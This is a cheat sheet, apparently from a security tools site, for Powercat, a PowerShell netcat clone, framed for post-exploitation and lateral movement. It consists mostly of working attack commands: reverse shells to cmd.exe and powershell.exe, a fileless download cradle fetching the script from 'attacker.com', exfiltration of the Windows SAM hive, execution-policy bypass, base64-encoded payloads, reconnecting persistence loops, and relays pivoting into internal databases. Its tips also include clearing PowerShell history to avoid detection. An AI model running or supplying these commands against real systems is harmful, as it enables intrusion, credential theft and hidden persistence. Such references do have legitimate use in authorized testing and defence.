Aller au contenu

Powercat

Powercat is a PowerShell implementation of the classic netcat networking tool, providing flexible network communication capabilities for Windows systems. It enables TCP/UDP socket operations, file transfer, shell spawning, and network pivoting without requiring separate binaries. Powercat is essential for post-exploitation network operations and lateral movement within compromised networks.

# Clone from GitHub
git clone https://github.com/besimorhino/powercat.git
cd powercat

# Or download directly
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1" -OutFile powercat.ps1
# Import powercat into current session
. .\powercat.ps1

# Import and verify
Import-Module .\powercat.ps1 -Verbose
Get-Help powercat
# Temporarily bypass execution policy
powershell -ExecutionPolicy Bypass -File powercat.ps1

# Or bypass for current session
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# Source directly from memory
powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/powercat.ps1')"
CommandDescription
powercat -l -p 4444Listen on port 4444 (server mode)
powercat -c 192.168.1.100 -p 4444Connect to host on port 4444 (client mode)
powercat -l -p 4444 -t 30Listen with 30-second timeout
powercat -hDisplay help information
# Listen on TCP port 4444
powercat -l -p 4444

# Listen on all interfaces (0.0.0.0)
powercat -l -p 4444 -i 0.0.0.0

# Listen on specific interface
powercat -l -p 4444 -i 192.168.1.50
# Listen and accept incoming connections
powercat -l -p 4444

# Listen with verbose output
powercat -l -p 4444 -v

# Listen with connection timeout
powercat -l -p 4444 -t 60
# Listen on UDP port 4444
powercat -l -p 4444 -u

# UDP listener with verbose output
powercat -l -p 4444 -u -v
FlagDescription
-lListen mode (server)
-pPort number to bind/connect to
-iInterface IP address to bind to
-uUse UDP instead of TCP
-tConnection timeout in seconds
-vVerbose output
# Connect to remote host TCP port 4444
powercat -c 192.168.1.100 -p 4444

# Connect to remote host via hostname
powercat -c attacker.com -p 4444

# Connect with verbose output
powercat -c 192.168.1.100 -p 4444 -v
# UDP client connection
powercat -c 192.168.1.100 -p 4444 -u

# UDP with timeout
powercat -c 192.168.1.100 -p 4444 -u -t 30
# Connect with 5-second delay (retry mechanism)
powercat -c 192.168.1.100 -p 4444 -d 5

# Persistent connection with reconnect
while($true) {
  powercat -c 192.168.1.100 -p 4444
  Start-Sleep -Seconds 5
}
FlagDescription
-cConnect to host (client mode)
-pPort number to connect to
-uUse UDP protocol
-tTimeout in seconds
-dDelay before connection attempt
# Server: Listen for incoming file
powercat -l -p 4444 -of C:\received_file.txt

# Client: Send file to listener
powercat -c 192.168.1.100 -p 4444 -i C:\file_to_send.txt
# Server: Listen and serve file
powercat -l -p 4444 -if C:\file_to_serve.txt

# Client: Connect and receive file
powercat -c 192.168.1.100 -p 4444 -of C:\received_file.txt
# Send and receive simultaneously
powercat -c 192.168.1.100 -p 4444 -i C:\send.txt -of C:\recv.txt
# Transfer large file with compression
$data = Get-Content -Path "C:\large_file.zip" -Encoding Byte
$encoded = [Convert]::ToBase64String($data)
$encoded | powercat -c 192.168.1.100 -p 4444
FlagDescription
-iInput file to send
-ofOutput file to receive
-ifInput file to serve to clients
# Listener on attacker machine (Linux)
nc -lvnp 4444

# Powercat reverse shell on target
powercat -c 192.168.1.100 -p 4444 -e cmd.exe

# PowerShell reverse shell
powercat -c 192.168.1.100 -p 4444 -e powershell.exe
# Create reverse shell payload
$code = {
  powercat -c 192.168.1.100 -p 4444 -e cmd.exe
}

# Execute in new PowerShell process
Start-Process powershell.exe -ArgumentList "-nop -c $code"
# Reverse shell over DNS
powercat -c 192.168.1.100 -p 4444 -dns
FlagDescription
-eExecute command (cmd.exe, powershell.exe, etc.)
-gGenerate payload (for staged delivery)
-dnsDNS tunneling mode
-repEnable relay/pivot mode
# Relay TCP traffic between two hosts
powercat -l -p 4444 -c 192.168.1.200 -p 5555

# Relay with verbose output
powercat -l -p 4444 -c 192.168.1.200 -p 5555 -v
# Listen locally and forward to internal network
powercat -l -p 4444 -c 192.168.100.50 -p 3306

# Access internal MySQL through pivot
mysql -h 127.0.0.1 -P 4444 -u root -p
# Forward external traffic to internal service
powercat -l -p 80 -c 192.168.1.50 -p 8080

# Forward HTTPS to internal service
powercat -l -p 443 -c 192.168.1.50 -p 8443
# First hop: Intermediate server
powercat -l -p 4444 -c second-hop.internal -p 5555

# Second hop: Internal target
powercat -l -p 5555 -c 192.168.100.10 -p 22
# Generate base64 encoded payload
$payload = "powercat -c 192.168.1.100 -p 4444 -e cmd.exe"
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($payload))

# Execute encoded payload
powershell -EncodedCommand <base64_payload>
# Check if target is listening
function Test-Port {
  param([string]$Server, [int]$Port)
  try {
    $socket = New-Object System.Net.Sockets.TcpClient
    $socket.Connect($Server, $Port)
    $socket.Close()
    return $true
  } catch {
    return $false
  }
}

if (Test-Port -Server "192.168.1.100" -Port 4444) {
  powercat -c 192.168.1.100 -p 4444 -e cmd.exe
}
# Execute powercat in background job
$job = Start-Job -ScriptBlock {
  . .\powercat.ps1
  powercat -c 192.168.1.100 -p 4444 -e cmd.exe
}

# Monitor job
Get-Job
Receive-Job -Job $job
# Keep connection alive with heartbeat
while($true) {
  try {
    powercat -c 192.168.1.100 -p 4444 -e cmd.exe -t 300
  } catch {
    Start-Sleep -Seconds 10
  }
}
# Listener on attacker machine (assume Linux)
nc -lvnp 4444
# Target machine executes reverse shell
powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100/powercat.ps1'); powercat -c 192.168.1.100 -p 4444 -e cmd.exe"
# Attacker listener captures file
nc -lvnp 4444 > exfiltrated_data.txt

# Target sends file
powercat -c 192.168.1.100 -p 4444 -i C:\Windows\System32\config\SAM
# Initial compromise creates relay
powercat -l -p 4444 -c internal-db-server.local -p 3306

# Attacker accesses internal database
mysql -h 127.0.0.1 -P 4444 -u admin -p
FlagDescription
-lListen mode
-cConnect to host
-pPort number
-uUDP mode
-eExecute command
-iInput file
-ofOutput file
-ifInput file to serve
-tTimeout (seconds)
-dDelay (seconds)
-vVerbose output
-repRelay mode
-dnsDNS tunneling
-gGenerate payload
  • Execution Policy: Always verify execution policy settings
  • Logging: PowerShell command history logs activity
  • Network Detection: Monitor for unusual outbound connections
  • AMSI: Windows Defender may detect payloads
  • Authorization: Ensure proper authorization before using
  • Encryption: Consider encrypted tunnels for sensitive operations
  • Timestamps: Clear PowerShell history if needed
  • Post-exploitation: Execute reverse shells after initial compromise
  • Network Pivoting: Route traffic through compromised systems
  • File Transfer: Move data between systems without external tools
  • Firewall Bypass: Use common ports (80, 443) for communication
  • Lateral Movement: Access internal services from compromised host
  • Data Exfiltration: Transfer sensitive files over network
  • Test connectivity before complex operations
  • Use appropriate timeouts for unstable networks
  • Document all relay chains for troubleshooting
  • Monitor PowerShell process behavior for detection avoidance
  • Use encoding for payload delivery
  • Verify file integrity after transfers
  • Clean up connections and processes after use
# Verify listener is active
Get-NetTCPConnection -LocalPort 4444

# Check firewall rules
netsh advfirewall show allprofiles
# Use alternative execution methods
powershell -ExecutionPolicy Bypass
powershell -nop -c "..."
# Verify file paths
Test-Path C:\file.txt

# Check file permissions
Get-Acl C:\file.txt
  • ncat — Advanced netcat implementation
  • socat — Relay and tunneling utility
  • chisel — Fast TCP/UDP tunneling
  • ligolo-ng — Network tunneling tool
  • plink — Command-line SSH client